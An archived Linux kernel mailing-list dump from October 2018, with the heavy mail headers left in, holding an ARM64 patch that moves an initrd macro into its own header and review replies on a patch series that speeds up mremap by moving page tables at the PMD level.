 0.1 DKIM_SIGNED            Message has a DKIM or DK signature,
 not necessarily valid
 -0.1 DKIM_VALID_AU Message has a valid DKIM or DK signature from author's
 domain
 -0.1 DKIM_VALID Message has at least one valid DKIM or DK signature
X-BeenThere: linux-snps-arc@lists.infradead.org
X-Mailman-Version: 2.1.21
Precedence: list
List-Id: Linux on Synopsys ARC Processors <linux-snps-arc.lists.infradead.org>
List-Unsubscribe: <http://lists.infradead.org/mailman/options/linux-snps-arc>, 
 <mailto:linux-snps-arc-request@lists.infradead.org?subject=unsubscribe>
List-Archive: <http://lists.infradead.org/pipermail/linux-snps-arc/>
List-Post: <mailto:linux-snps-arc@lists.infradead.org>
List-Help: <mailto:linux-snps-arc-request@lists.infradead.org?subject=help>
List-Subscribe: <http://lists.infradead.org/mailman/listinfo/linux-snps-arc>, 
 <mailto:linux-snps-arc-request@lists.infradead.org?subject=subscribe>
Original-Sender: "linux-snps-arc" <linux-snps-arc-bounces@lists.infradead.org>
Errors-To: linux-snps-arc-bounces+gla-linux-snps-arc=m.gmane.org@lists.infradead.org
Xref: news.gmane.org gmane.linux.kernel.arc:4598 gmane.linux.kernel:2906458 gmane.linux.ports.mips.general:67152 gmane.linux.ports.sh.devel:57673 gmane.linux.kernel.cross-arch:48032 gmane.linux.ports.ia64:29419 gmane.linux.ports.hexagon:1939 gmane.linux.ports.arm.kernel:681171 gmane.linux.ports.parisc:29220 gmane.linux.ports.alpha:5352 gmane.linux.ports.sparc:28634 gmane.linux.ports.riscv:1181 gmane.linux.drivers.devicetree:294126 gmane.linux.ports.ppc64.devel:164835
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel.arc/4598>

ARM64 is the only architecture that requires a re-definition of
__early_init_dt_declare_initrd(). Now that we added the infrastructure
in asm-generic to provide an asm/initrd.h file, properly break up that
definition from asm/memory.h and make use of that header in
drivers/of/fdt.c where this is used.

This significantly cuts the number of objects that need to be rebuilt on
ARM64 due to the repercusions of including asm/memory.h in several
places.

Signed-off-by: Florian Fainelli <f.fainelli@gmail.com>
---
 arch/arm64/include/asm/initrd.h | 13 +++++++++++++
 arch/arm64/include/asm/memory.h |  8 --------
 drivers/of/fdt.c                |  1 +
 3 files changed, 14 insertions(+), 8 deletions(-)
 create mode 100644 arch/arm64/include/asm/initrd.h

diff --git a/arch/arm64/include/asm/initrd.h b/arch/arm64/include/asm/initrd.h
new file mode 100644
index 000000000000..0c9572485810
--- /dev/null
+++ b/arch/arm64/include/asm/initrd.h
@@ -0,0 +1,13 @@
+/* SPDX-License-Identifier: GPL-2.0 */
+#ifndef __ASM_INITRD_H
+#define __ASM_INITRD_H
+
+#ifdef CONFIG_BLK_DEV_INITRD
+#define __early_init_dt_declare_initrd(__start, __end)			\
+	do {								\
+		initrd_start = (__start);				\
+		initrd_end = (__end);					\
+	} while (0)
+#endif
+
+#endif /* __ASM_INITRD_H */
diff --git a/arch/arm64/include/asm/memory.h b/arch/arm64/include/asm/memory.h
index b96442960aea..dc3ca21ba240 100644
--- a/arch/arm64/include/asm/memory.h
+++ b/arch/arm64/include/asm/memory.h
@@ -168,14 +168,6 @@
 #define IOREMAP_MAX_ORDER	(PMD_SHIFT)
 #endif
 
-#ifdef CONFIG_BLK_DEV_INITRD
-#define __early_init_dt_declare_initrd(__start, __end)			\
-	do {								\
-		initrd_start = (__start);				\
-		initrd_end = (__end);					\
-	} while (0)
-#endif
-
 #ifndef __ASSEMBLY__
 
 #include <linux/bitops.h>
diff --git a/drivers/of/fdt.c b/drivers/of/fdt.c
index 800ad252cf9c..4e4711af907b 100644
--- a/drivers/of/fdt.c
+++ b/drivers/of/fdt.c
@@ -28,6 +28,7 @@
 
 #include <asm/setup.h>  /* for COMMAND_LINE_SIZE */
 #include <asm/page.h>
+#include <asm/initrd.h>
 
 #include "of_private.h"
 
-- 
2.17.1

From - Thu Nov 08 21:42:20 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Peter Zijlstra <peterz@infradead.org>
Newsgroups: gmane.linux.kernel.arc,gmane.linux.ports.mips.general,gmane.linux.ports.ia64,gmane.linux.ports.sh.devel,gmane.linux.kernel.mm,gmane.linux.ports.sparc,gmane.linux.ports.riscv,gmane.comp.emulators.kvm.arm.devel,gmane.linux.ports.hexagon,gmane.linux.ports.parisc,gmane.linux.kernel,gmane.linux.ports.alpha,gmane.linux.ports.ppc64.devel
Subject: Re: [PATCH 1/4] treewide: remove unused address argument from
 pte_alloc functions (v2)
Date: Wed, 24 Oct 2018 10:37:16 +0200
Lines: 15
Approved: news@gmane.org
Message-ID: <20181024083716.GN3109@worktop.c.hoisthospitality.com>
References: <20181013013200.206928-1-joel@joelfernandes.org>
 <20181013013200.206928-2-joel@joelfernandes.org>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Content-Transfer-Encoding: 7bit
X-Trace: blaine.gmane.org 1540370135 17660 195.159.176.226 (24 Oct 2018 08:35:35 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Wed, 24 Oct 2018 08:35:35 +0000 (UTC)
User-Agent: Mutt/1.5.22.1 (2013-10-16)
Cc: linux-mips@linux-mips.org, Rich Felker <dalias@libc.org>,
 linux-ia64@vger.kernel.org, linux-sh@vger.kernel.org,
 Catalin Marinas <catalin.marinas@arm.com>,
 Dave Hansen <dave.hansen@linux.intel.com>, Will Deacon <will.deacon@arm.com>,
 Michal Hocko <mhocko@kernel.org>, linux-mm@kvack.org, lokeshgidra@google.com,
 sparclinux@vger.kernel.org, linux-riscv@lists.infradead.org,
 elfring@users.sourceforge.net, Jonas Bonn <jonas@southpole.se>,
 kvmarm@lists.cs.columbia.edu, dancol@google.com,
 Yoshinori Sato <ysato@users.sourceforge.jp>, linux-xtensa@linux-xtensa.org,
 linux-hexagon@vger.kernel.org, Helge Deller <deller@gmx.de>,
 "maintainer:X86 ARCHITECTURE \(32-BIT AND 64-BIT\)" <x86@kernel.org>,
 hughd@google.com, "James E.J. Bottomley" <jejb@parisc-linux.org>,
 kasan-dev@googlegroups.com, anton.ivanov@kot-begemot.co.uk,
 Ingo Molnar <mingo@redhat.com>, Geert Uytterhoeven <geert@linux-m
To: "Joel Fernandes (Google)" <joel@joelfernandes.org>
Original-X-From: linux-snps-arc-bounces+gla-linux-snps-arc=m.gmane.org@lists.infradead.org Wed Oct 24 10:35:25 2018
Return-path: <linux-snps-arc-bounces+gla-linux-snps-arc=m.gmane.org@lists.infradead.org>
Envelope-to: gla-linux-snps-arc@m.gmane.org
Original-Received: from bombadil.infradead.org ([198.137.202.133])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-snps-arc-bounces+gla-linux-snps-arc=m.gmane.org@lists.infradead.org>)
	id 1gFEdQ-0004Ma-T5
	for gla-linux-snps-arc@m.gmane.org; Wed, 24 Oct 2018 10:35:25 +0200
DKIM-Signature: v=1; a=rsa-sha256; q=dns/txt; c=relaxed/relaxed;
	d=lists.infradead.org; s=bombadil.20170209; h=Sender:
	Content-Transfer-Encoding:Content-Type:Cc:List-Subscribe:List-Help:List-Post:
	List-Archive:List-Unsubscribe:List-Id:In-Reply-To:MIME-Version:References:
	Message-ID:Subject:To:From:Date:Reply-To:Content-ID:Content-Description:
	Resent-Date:Resent-From:Resent-Sender:Resent-To:Resent-Cc:Resent-Message-ID:
	List-Owner; bh=75oedy0MwypLBmm3e3jThnOONtfu1AznZ50Mw9Y2+b4=; b=eeYuVP5qs2yxrv
	EB2+qdBVy2N8vWMdvjqQ5TVgjgIgW4ey9VyxdhsltZSJBX9UX9KnCeXLIqK/Ahpv3A7xe9IrBosN4
	UbfnQEsvf0/yshLdpJfB5GTXvwWvzCBN5eW0A4AcXq8HjMYjNwtt31Xg7zKjG56UmSq/ocEkHohc3
	2venvbUYHevZAe3t8TBwfyTejoyhV9X5dxheibqELG4NL4ElNVE72VIq7ZOAN2W8RjkLucNoMD6CW
	u9g5y9GK8ptD5BNcm7H6QMTwnsR3ZapG1ViZRMZZUPdu6u8R57hYIHvuM7Rjb7jHfCPRL7RrawIfQ
	Lve11uBvsrW1PxisYX/Q==;
Original-Received: from localhost ([127.0.0.1] helo=bombadil.infradead.org)
	by bombadil.infradead.org with esmtp (Exim 4.90_1 #2 (Red Hat Linux))
	id 1gFEfV-0004UD-Kn; Wed, 24 Oct 2018 08:37:33 +0000
Original-Received: from [185.7.230.213] (helo=worktop)
 by bombadil.infradead.org with esmtpsa (Exim 4.90_1 #2 (Red Hat Linux))
 id 1gFEfH-0004So-Sa; Wed, 24 Oct 2018 08:37:20 +0000
Original-Received: by worktop (Postfix, from userid 1000)
 id EDB716E08AB; Wed, 24 Oct 2018 10:37:16 +0200 (CEST)
Content-Disposition: inline
In-Reply-To: <20181013013200.206928-2-joel@joelfernandes.org>
X-BeenThere: linux-snps-arc@lists.infradead.org
X-Mailman-Version: 2.1.21
Precedence: list
List-Id: Linux on Synopsys ARC Processors <linux-snps-arc.lists.infradead.org>
List-Unsubscribe: <http://lists.infradead.org/mailman/options/linux-snps-arc>, 
 <mailto:linux-snps-arc-request@lists.infradead.org?subject=unsubscribe>
List-Archive: <http://lists.infradead.org/pipermail/linux-snps-arc/>
List-Post: <mailto:linux-snps-arc@lists.infradead.org>
List-Help: <mailto:linux-snps-arc-request@lists.infradead.org?subject=help>
List-Subscribe: <http://lists.infradead.org/mailman/listinfo/linux-snps-arc>, 
 <mailto:linux-snps-arc-request@lists.infradead.org?subject=subscribe>
Original-Sender: "linux-snps-arc" <linux-snps-arc-bounces@lists.infradead.org>
Errors-To: linux-snps-arc-bounces+gla-linux-snps-arc=m.gmane.org@lists.infradead.org
Xref: news.gmane.org gmane.linux.kernel.arc:4599 gmane.linux.ports.mips.general:67153 gmane.linux.ports.ia64:29420 gmane.linux.ports.sh.devel:57674 gmane.linux.kernel.mm:205921 gmane.linux.ports.sparc:28637 gmane.linux.ports.riscv:1182 gmane.comp.emulators.kvm.arm.devel:19582 gmane.linux.ports.hexagon:1940 gmane.linux.ports.parisc:29221 gmane.linux.kernel:2906702 gmane.linux.ports.alpha:5353 gmane.linux.ports.ppc64.devel:164850
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel.arc/4599>

On Fri, Oct 12, 2018 at 06:31:57PM -0700, Joel Fernandes (Google) wrote:
> This series speeds up mremap(2) syscall by copying page tables at the
> PMD level even for non-THP systems. There is concern that the extra
> 'address' argument that mremap passes to pte_alloc may do something
> subtle architecture related in the future that may make the scheme not
> work.  Also we find that there is no point in passing the 'address' to
> pte_alloc since its unused. So this patch therefore removes this
> argument tree-wide resulting in a nice negative diff as well. Also
> ensuring along the way that the enabled architectures do not do anything
> funky with 'address' argument that goes unnoticed by the optimization.

Did you happen to look at the history of where that address argument
came from? -- just being curious here. ISTR something vague about
architectures having different paging structure for different memory
ranges.

From - Thu Nov 08 21:42:20 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: "Kirill A. Shutemov" <kirill@shutemov.name>
Newsgroups: gmane.linux.kernel.arc,gmane.linux.ports.mips.general,gmane.linux.ports.ia64,gmane.linux.ports.sh.devel,gmane.linux.kernel.mm,gmane.linux.ports.sparc,gmane.linux.ports.riscv,gmane.comp.emulators.kvm.arm.devel,gmane.linux.ports.hexagon,gmane.linux.ports.parisc,gmane.linux.kernel,gmane.linux.ports.alpha,gmane.linux.ports.ppc64.devel
Subject: Re: [PATCH 2/4] mm: speed up mremap by 500x on large regions (v2)
Date: Wed, 24 Oct 2018 13:12:56 +0300
Lines: 62
Approved: news@gmane.org
Message-ID: <20181024101255.it4lptrjogalxbey@kshutemo-mobl1>
References: <20181013013200.206928-1-joel@joelfernandes.org>
 <20181013013200.206928-3-joel@joelfernandes.org>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Content-Transfer-Encoding: 7bit
X-Trace: blaine.gmane.org 1540375900 12944 195.159.176.226 (24 Oct 2018 10:11:40 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Wed, 24 Oct 2018 10:11:40 +0000 (UTC)
User-Agent: NeoMutt/20180716
Cc: linux-mips@linux-mips.org, Rich Felker <dalias@libc.org>,
 linux-ia64@vger.kernel.org, linux-sh@vger.kernel.org,
 Peter Zijlstra <peterz@infradead.org>,
 Catalin Marinas <catalin.marinas@arm.com>,
 Dave Hansen <dave.hansen@linux.intel.com>, Will Deacon <will.deacon@arm.com>,
 mhocko@kernel.org, linux-mm@kvack.org, lokeshgidra@google.com,
 sparclinux@vger.kernel.org, linux-riscv@lists.infradead.org,
 elfring@users.sourceforge.net, Jonas Bonn <jonas@southpole.se>,
 kvmarm@lists.cs.columbia.edu, dancol@google.com,
 Yoshinori Sato <ysato@users.sourceforge.jp>, linux-xtensa@linux-xtensa.org,
 linux-hexagon@vger.kernel.org, Helge Deller <deller@gmx.de>,
 "maintainer:X86 ARCHITECTURE \(32-BIT AND 64-BIT\)" <x86@kernel.org>,
 hughd@google.com, "James E.J. Bottomley" <jejb@parisc-linux.org>,
 kasan-dev@googlegroups.com, anton.ivanov@kot-begemot.co.uk,
 Ingo Molnar <mingo@redhat.com>, Geert Uy
To: "Joel Fernandes (Google)" <joel@joelfernandes.org>
Original-X-From: linux-snps-arc-bounces+gla-linux-snps-arc=m.gmane.org@lists.infradead.org Wed Oct 24 12:11:31 2018
Return-path: <linux-snps-arc-bounces+gla-linux-snps-arc=m.gmane.org@lists.infradead.org>
Envelope-to: gla-linux-snps-arc@m.gmane.org
Original-Received: from bombadil.infradead.org ([198.137.202.133])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-snps-arc-bounces+gla-linux-snps-arc=m.gmane.org@lists.infradead.org>)
	id 1gFG8Q-0003Ac-MI
	for gla-linux-snps-arc@m.gmane.org; Wed, 24 Oct 2018 12:11:30 +0200
DKIM-Signature: v=1; a=rsa-sha256; q=dns/txt; c=relaxed/relaxed;
	d=lists.infradead.org; s=bombadil.20170209; h=Sender:
	Content-Transfer-Encoding:Content-Type:Cc:List-Subscribe:List-Help:List-Post:
	List-Archive:List-Unsubscribe:List-Id:In-Reply-To:MIME-Version:References:
	Message-ID:Subject:To:From:Date:Reply-To:Content-ID:Content-Description:
	Resent-Date:Resent-From:Resent-Sender:Resent-To:Resent-Cc:Resent-Message-ID:
	List-Owner; bh=MO5vZ7PXTgXalxo2luxFwd0QlNg1qfc28oelJoKC9mY=; b=fzE/ABiUx8OQI7
	TiY/qcdFVDimQW6hwAIqsZdByFt+pxuLH7qyTj/ujryJpaLkcu/qb2lTxke6TOPF9YqNU5VvQB/Yr
	RYhfb4Wjbt3KQ3kqSBmjomIbbEokwPT/R35OhXtZdseSlin9kp2HsQrAZXurimbMdT9y57A8sIork
	N0CLK8zIHRzSFNJbrhGC/gg/dHAMvTlmjPz/WE3n9JfXReR0WYEKIbfIyw/g0zTFL4sDO1haQrO6B
	3Dk7xBSpv6cdVAP+nRuzBu7hjX53mmrAM/kpIYwy9ccUOyZXtqVlmYeawmxOY7W1zJVgaQ052pSF4
	HSB5BmrvwqCxWJB3gxpg==;
Original-Received: from localhost ([127.0.0.1] helo=bombadil.infradead.org)
	by bombadil.infradead.org with esmtp (Exim 4.90_1 #2 (Red Hat Linux))
	id 1gFGAV-00041L-4R; Wed, 24 Oct 2018 10:13:39 +0000
Original-Received: from mail-pl1-x644.google.com ([2607:f8b0:4864:20::644])
 by bombadil.infradead.org with esmtps (Exim 4.90_1 #2 (Red Hat Linux))
 id 1gFGA6-0003x6-9k
 for linux-snps-arc@lists.infradead.org; Wed, 24 Oct 2018 10:13:18 +0000
Original-Received: by mail-pl1-x644.google.com with SMTP id d23-v6so2008369pls.11
 for <linux-snps-arc@lists.infradead.org>; Wed, 24 Oct 2018 03:13:03 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
 d=shutemov-name.20150623.gappssmtp.com; s=20150623;
 h=date:from:to:cc:subject:message-id:references:mime-version
 :content-disposition:in-reply-to:user-agent;
 bh=jjwSE14LPfje/VjGow1mCRc4iV2H58RrCA9qPOR9BBI=;
 b=LW3rQRbs8K/P5qiShw/IjeV4JIMIBiAhuu+U9E9cikIKD48cJuEOrgryRgu/RAi5Bj
 3cLxW44W5HajhHHvJFOUhlFSBMtQdtCFyuZNB5pWXN50urWt943X7B6IlF4lnS2P8crr
 IK0a5dadeVb2twXxbnvoqBnwvaymW80gt6ONfdSTaWEEdiF5GMl7OFiNooArOjDtQJEc
 VX9+WeKOJthMSmGl1YHBxsgw6f3AbqohBwSKRHD/fHYsKKW9yvNIulEI+bhq7B56IpfI
 Yf4cEjhcH3uKS6huccQljB1CsOCeoxoVGJnLxQA4VWUlW/F/y0aI0+QL5dcA4RpObOXq
 3F7g==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
 d=1e100.net; s=20161025;
 h=x-gm-message-state:date:from:to:cc:subject:message-id:references
 :mime-version:content-disposition:in-reply-to:user-agent;
 bh=jjwSE14LPfje/VjGow1mCRc4iV2H58RrCA9qPOR9BBI=;
 b=S0ZEJBhuaazS2sPR2u0hv5hXB0lfu1EFqvqznVnE6Bte6ktFGuFON65FryPKKfP4/7
 t/sOCTCGNzDRnpapih/qRyzWYHpUy1wd1P/DgBLMPOTzbbJZHXeWIZ9knfUEj2pW0sSx
 hk6N313b4W+USF4DRX6BxkwDV/cIcXDtbBR1yTgBt8z+/cTSIU8HoVPtNQ+y6GdhpxA+
 Z/lf2R4Ke1KYCA68y9tm5qbfXWliOFMRcEj9Lnr1gC6W8xUIo95jOrXc88GBBNwXrAI7
 dSfUbE6Xr/VZJbpAYOG5y2D2HxQVTRCrN7IPUwq2Lw3Lk4knPpBmyuKddxu2LVWCup8Z
 xDRw==
X-Gm-Message-State: AGRZ1gImua6mE+aCbVoqNa+jJMGzvRjcXl92hmertGAn0IoH2/L5eJKi
 Em1HPxYAFgDg5UZJz8EEFjQT6Q==
X-Google-Smtp-Source: AJdET5d0UdURELlruNjEqupiPGen6jVsxoGb5+iKkDtucxAzZChLo1c7KZe84NtjlNKHALsCS+tdDQ==
X-Received: by 2002:a17:902:9344:: with SMTP id
 g4-v6mr1939843plp.159.1540375982727; 
 Wed, 24 Oct 2018 03:13:02 -0700 (PDT)
Original-Received: from kshutemo-mobl1.localdomain ([134.134.139.82])
 by smtp.gmail.com with ESMTPSA id m11-v6sm6396544pgn.39.2018.10.24.03.13.00
 (version=TLS1_2 cipher=ECDHE-RSA-AES128-GCM-SHA256 bits=128/128);
 Wed, 24 Oct 2018 03:13:01 -0700 (PDT)
Original-Received: by kshutemo-mobl1.localdomain (Postfix, from userid 1000)
 id 594E3300225; Wed, 24 Oct 2018 13:12:56 +0300 (+03)
Content-Disposition: inline
In-Reply-To: <20181013013200.206928-3-joel@joelfernandes.org>
X-CRM114-Version: 20100106-BlameMichelson ( TRE 0.8.0 (BSD) ) MR-646709E3 
X-CRM114-CacheID: sfid-20181024_031314_583333_BAAEA8ED 
X-CRM114-Status: GOOD (  15.54  )
X-Spam-Score: -0.0 (/)
X-Spam-Report: SpamAssassin version 3.4.1 on bombadil.infradead.org summary:
 Content analysis details:   (-0.0 points)
 pts rule name              description
 ---- ---------------------- --------------------------------------------------
 -0.0 RCVD_IN_DNSWL_NONE     RBL: Sender listed at http://www.dnswl.org/, no
 trust [2607:f8b0:4864:20:0:0:0:644 listed in] [list.dnswl.org]
 0.1 DKIM_SIGNED            Message has a DKIM or DK signature,
 not necessarily valid
 -0.1 DKIM_VALID Message has at least one valid DKIM or DK signature
 -0.0 DKIMWL_WL_MED          DKIMwl.org - Whitelisted Medium sender
X-BeenThere: linux-snps-arc@lists.infradead.org
X-Mailman-Version: 2.1.21
Precedence: list
List-Id: Linux on Synopsys ARC Processors <linux-snps-arc.lists.infradead.org>
List-Unsubscribe: <http://lists.infradead.org/mailman/options/linux-snps-arc>, 
 <mailto:linux-snps-arc-request@lists.infradead.org?subject=unsubscribe>
List-Archive: <http://lists.infradead.org/pipermail/linux-snps-arc/>
List-Post: <mailto:linux-snps-arc@lists.infradead.org>
List-Help: <mailto:linux-snps-arc-request@lists.infradead.org?subject=help>
List-Subscribe: <http://lists.infradead.org/mailman/listinfo/linux-snps-arc>, 
 <mailto:linux-snps-arc-request@lists.infradead.org?subject=subscribe>
Original-Sender: "linux-snps-arc" <linux-snps-arc-bounces@lists.infradead.org>
Errors-To: linux-snps-arc-bounces+gla-linux-snps-arc=m.gmane.org@lists.infradead.org
Xref: news.gmane.org gmane.linux.kernel.arc:4600 gmane.linux.ports.mips.general:67156 gmane.linux.ports.ia64:29421 gmane.linux.ports.sh.devel:57675 gmane.linux.kernel.mm:205923 gmane.linux.ports.sparc:28638 gmane.linux.ports.riscv:1183 gmane.comp.emulators.kvm.arm.devel:19583 gmane.linux.ports.hexagon:1941 gmane.linux.ports.parisc:29222 gmane.linux.kernel:2906773 gmane.linux.ports.alpha:5354 gmane.linux.ports.ppc64.devel:164854
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel.arc/4600>

On Fri, Oct 12, 2018 at 06:31:58PM -0700, Joel Fernandes (Google) wrote:
> diff --git a/mm/mremap.c b/mm/mremap.c
> index 9e68a02a52b1..2fd163cff406 100644
> --- a/mm/mremap.c
> +++ b/mm/mremap.c
> @@ -191,6 +191,54 @@ static void move_ptes(struct vm_area_struct *vma, pmd_t *old_pmd,
>  		drop_rmap_locks(vma);
>  }
>  
> +static bool move_normal_pmd(struct vm_area_struct *vma, unsigned long old_addr,
> +		  unsigned long new_addr, unsigned long old_end,
> +		  pmd_t *old_pmd, pmd_t *new_pmd, bool *need_flush)
> +{
> +	spinlock_t *old_ptl, *new_ptl;
> +	struct mm_struct *mm = vma->vm_mm;
> +
> +	if ((old_addr & ~PMD_MASK) || (new_addr & ~PMD_MASK)
> +	    || old_end - old_addr < PMD_SIZE)
> +		return false;
> +
> +	/*
> +	 * The destination pmd shouldn't be established, free_pgtables()
> +	 * should have release it.
> +	 */
> +	if (WARN_ON(!pmd_none(*new_pmd)))
> +		return false;
> +
> +	/*
> +	 * We don't have to worry about the ordering of src and dst
> +	 * ptlocks because exclusive mmap_sem prevents deadlock.
> +	 */
> +	old_ptl = pmd_lock(vma->vm_mm, old_pmd);
> +	if (old_ptl) {

How can it ever be false?

> +		pmd_t pmd;
> +
> +		new_ptl = pmd_lockptr(mm, new_pmd);
> +		if (new_ptl != old_ptl)
> +			spin_lock_nested(new_ptl, SINGLE_DEPTH_NESTING);
> +
> +		/* Clear the pmd */
> +		pmd = *old_pmd;
> +		pmd_clear(old_pmd);
> +
> +		VM_BUG_ON(!pmd_none(*new_pmd));
> +
> +		/* Set the new pmd */
> +		set_pmd_at(mm, new_addr, new_pmd, pmd);
> +		if (new_ptl != old_ptl)
> +			spin_unlock(new_ptl);
> +		spin_unlock(old_ptl);
> +
> +		*need_flush = true;
> +		return true;
> +	}
> +	return false;
> +}
> +
-- 
 Kirill A. Shutemov

From - Thu Nov 08 21:42:20 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Balbir Singh <bsingharora@gmail.com>
Newsgroups: gmane.linux.kernel.arc,gmane.linux.ports.mips.general,gmane.linux.ports.ia64,gmane.linux.ports.sh.devel,gmane.linux.kernel.mm,gmane.linux.ports.riscv,gmane.comp.emulators.kvm.arm.devel,gmane.linux.ports.sparc,gmane.linux.ports.hexagon,gmane.linux.ports.parisc,gmane.linux.kernel,gmane.linux.ports.alpha,gmane.linux.ports.ppc64.devel
Subject: Re: [PATCH 2/4] mm: speed up mremap by 500x on large regions (v2)
Date: Wed, 24 Oct 2018 22:57:33 +1100
Lines: 70
Approved: news@gmane.org
Message-ID: <20181024115733.GN8537@350D>
References: <20181013013200.206928-1-joel@joelfernandes.org>
 <20181013013200.206928-3-joel@joelfernandes.org>
 <20181024101255.it4lptrjogalxbey@kshutemo-mobl1>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Content-Transfer-Encoding: 7bit
X-Trace: blaine.gmane.org 1540382186 8740 195.159.176.226 (24 Oct 2018 11:56:26 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Wed, 24 Oct 2018 11:56:26 +0000 (UTC)
User-Agent: Mutt/1.9.4 (2018-02-28)
Cc: linux-mips@linux-mips.org, Rich Felker <dalias@libc.org>,
 linux-ia64@vger.kernel.org, linux-sh@vger.kernel.org,
 Peter Zijlstra <peterz@infradead.org>,
 Catalin Marinas <catalin.marinas@arm.com>,
 Dave Hansen <dave.hansen@linux.intel.com>, Will Deacon <will.deacon@arm.com>,
 mhocko@kernel.org, linux-mm@kvack.org, lokeshgidra@google.com,
 "Joel Fernandes \(Google\)" <joel@joelfernandes.org>,
 linux-riscv@lists.infradead.org, elfring@users.sourceforge.net,
 Jonas Bonn <jonas@southpole.se>, kvmarm@lists.cs.columbia.edu,
 dancol@google.com, Yoshinori Sato <ysato@users.sourceforge.jp>,
 sparclinux@vger.kernel.org, linux-xtensa@linux-xtensa.org,
 linux-hexagon@vger.kernel.org, Helge Deller <deller@gmx.de>,
 "maintainer:X86 ARCHITECTURE \(32-BIT AND 64-BIT\)" <x86@kernel.org>,
 hughd@google.com, "James E.J. Bottomley" <jejb@parisc-linux.org>,
 kasan-dev@googlegroups.com, anton.ivanov@kot-b
To: "Kirill A. Shutemov" <kirill@shutemov.name>
Original-X-From: linux-snps-arc-bounces+gla-linux-snps-arc=m.gmane.org@lists.infradead.org Wed Oct 24 13:56:17 2018
Return-path: <linux-snps-arc-bounces+gla-linux-snps-arc=m.gmane.org@lists.infradead.org>
Envelope-to: gla-linux-snps-arc@m.gmane.org
Original-Received: from bombadil.infradead.org ([198.137.202.133])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-snps-arc-bounces+gla-linux-snps-arc=m.gmane.org@lists.infradead.org>)
	id 1gFHlo-00022J-Pk
	for gla-linux-snps-arc@m.gmane.org; Wed, 24 Oct 2018 13:56:17 +0200
DKIM-Signature: v=1; a=rsa-sha256; q=dns/txt; c=relaxed/relaxed;
	d=lists.infradead.org; s=bombadil.20170209; h=Sender:
	Content-Transfer-Encoding:Content-Type:Cc:List-Subscribe:List-Help:List-Post:
	List-Archive:List-Unsubscribe:List-Id:In-Reply-To:MIME-Version:References:
	Message-ID:Subject:To:From:Date:Reply-To:Content-ID:Content-Description:
	Resent-Date:Resent-From:Resent-Sender:Resent-To:Resent-Cc:Resent-Message-ID:
	List-Owner; bh=AoCHhnV3ilCup/gmvoTVu2odieWR8T1veLyePwG53v8=; b=mzSbEJ4BrQyIqW
	byVPpzWaQncsH6LaQOIiARAeF1c4+pYl8i8i0IQipSU7nHyLpvm5gItQG20FYArwzK2Z520/fO7ZR
	7NwR9vgeYld5VamRVOOOAFwXDyIUvQw9J2DBaZLqwZFIUcDOUSOeASqPZk/cnm5TgpsAu0Vg+dYnW
	ra567mcKdBEJQZNfcccbiqVXLst6Z9VQIZ9rv6RW3AZZLaYiM3FaJXUKtsFFrmS7g9a28rqSXbtFN
	exZ2n9xI+z6x8EJ96HGmYJt2Ngc3PW+X1Qsi53VCNqq2Rqs7Tvg29tvjCsvvmTzN4GkvOJQRCNWyO
	eDuNC1/BB0XXiXXnKc3g==;
Original-Received: from localhost ([127.0.0.1] helo=bombadil.infradead.org)
	by bombadil.infradead.org with esmtp (Exim 4.90_1 #2 (Red Hat Linux))
	id 1gFHnq-0006pR-D4; Wed, 24 Oct 2018 11:58:22 +0000
Original-Received: from mail-pg1-x542.google.com ([2607:f8b0:4864:20::542])
 by bombadil.infradead.org with esmtps (Exim 4.90_1 #2 (Red Hat Linux))
 id 1gFHnK-0006Y6-8f; Wed, 24 Oct 2018 11:58:01 +0000
Original-Received: by mail-pg1-x542.google.com with SMTP id g12-v6so2218514pgs.1;
 Wed, 24 Oct 2018 04:57:38 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=20161025;
 h=date:from:to:cc:subject:message-id:references:mime-version
 :content-disposition:in-reply-to:user-agent;
 bh=r4S1JZtjtEoZRmv1cmbD7oqQ5fBxxZJ0gckdgeOcI14=;
 b=rxvOMkoPR1fl+wChK1gmiyTy80jYizuSzzLNsN1UW/nn68lcvDelAzg7q5xRULAFwF
 88m9+eaacj9fu1oQRgbn9o9rL5OobsROYLsUPy8Jgnz+ao671RDA5Lk1ggZYlGqX9SbG
 9RUUixIOumM9W9fFeC11ng0GECm2HV0kpOJEacCyBhFOab2Q3i4VFHF0QbnxQWZzkmCY
 Lire1m9l7AF9VgUbUKgofuhPxpehLdKNOXRb6mUKntibxqs2pslottwNtAIjzUINJV13
 bV4f1WLD9yCA7Iyr+h+lgaNFbMHR6/U4tmHoxnhQ/7prUqBNDcYtn35v7xWxzF+rGnLI
 1zrQ==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
 d=1e100.net; s=20161025;
 h=x-gm-message-state:date:from:to:cc:subject:message-id:references
 :mime-version:content-disposition:in-reply-to:user-agent;
 bh=r4S1JZtjtEoZRmv1cmbD7oqQ5fBxxZJ0gckdgeOcI14=;
 b=IjWhuy2DCafakCHos4M0GcG9M+++pTNlXnnA8PBUZNzIKX3M2XDE3MECwB6pzfM3nN
